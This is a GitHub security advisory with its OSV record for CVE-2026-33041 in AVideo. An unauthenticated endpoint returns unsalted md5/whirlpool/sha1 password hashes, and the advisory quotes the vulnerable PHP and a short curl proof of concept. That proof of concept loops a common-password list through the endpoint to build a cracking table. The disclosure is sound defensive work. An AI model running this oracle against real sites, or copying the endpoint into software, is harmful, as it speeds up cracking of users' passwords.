GHSA-PX7X-GQ96-RMP5
Vulnerability from github – Published: 2026-03-17 19:48 – Updated: 2026-03-20 21:22Summary
/objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.
Details
File: objects/encryptPass.json.php
$obj->password = @$_REQUEST['pass'];
$obj->encryptedPassword = encryptPassword($obj->password);
echo json_encode($obj);
No authentication is required. The encryptPassword() function in objects/functions.php (line ~2101) uses:
function encryptPassword($password, $noSalt = false) {
if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
$password .= $global['salt'];
}
return md5(hash('whirlpool', sha1($password)));
}
By default, salt is NOT enabled (encryptPasswordsWithSalt is off), making the hash deterministic and identical to what's stored in the database.
PoC
# Get the hash for any password
curl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'
# Response: {"password":"admin123","encryptedPassword":"<hash>"}
# Build a rainbow table for common passwords
for pass in $(cat rockyou-top1000.txt); do
curl -s "https://TARGET/objects/encryptPass.json.php?pass=$pass"
done
If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.
Impact
Password Cracking Acceleration — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.
Additionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33041"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:48:35Z",
"nvd_published_at": "2026-03-20T06:16:12Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`/objects/encryptPass.json.php` exposes the application\u0027s password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.\n\n### Details\n\n**File:** `objects/encryptPass.json.php`\n\n```php\n$obj-\u003epassword = @$_REQUEST[\u0027pass\u0027];\n$obj-\u003eencryptedPassword = encryptPassword($obj-\u003epassword);\necho json_encode($obj);\n```\n\nNo authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:\n\n```php\nfunction encryptPassword($password, $noSalt = false) {\n if (!empty($advancedCustomUser-\u003eencryptPasswordsWithSalt) \u0026\u0026 !empty($global[\u0027salt\u0027]) \u0026\u0026 empty($noSalt)) {\n $password .= $global[\u0027salt\u0027];\n }\n return md5(hash(\u0027whirlpool\u0027, sha1($password)));\n}\n```\n\nBy default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what\u0027s stored in the database.\n\n### PoC\n\n```bash\n# Get the hash for any password\ncurl \u0027https://TARGET/objects/encryptPass.json.php?pass=admin123\u0027\n# Response: {\"password\":\"admin123\",\"encryptedPassword\":\"\u003chash\u003e\"}\n\n# Build a rainbow table for common passwords\nfor pass in $(cat rockyou-top1000.txt); do\n curl -s \"https://TARGET/objects/encryptPass.json.php?pass=$pass\"\ndone\n```\n\nIf an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.\n\n### Impact\n\n**Password Cracking Acceleration** \u2014 This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.\n\nAdditionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.",
"id": "GHSA-px7x-gq96-rmp5",
"modified": "2026-03-20T21:22:54Z",
"published": "2026-03-17T19:48:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-px7x-gq96-rmp5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33041"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/ea2efd04464560cca93c9ab48b445dbb944a4e46"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an Unauthenticated Password Hash Oracle via encryptPass.json.php"
}
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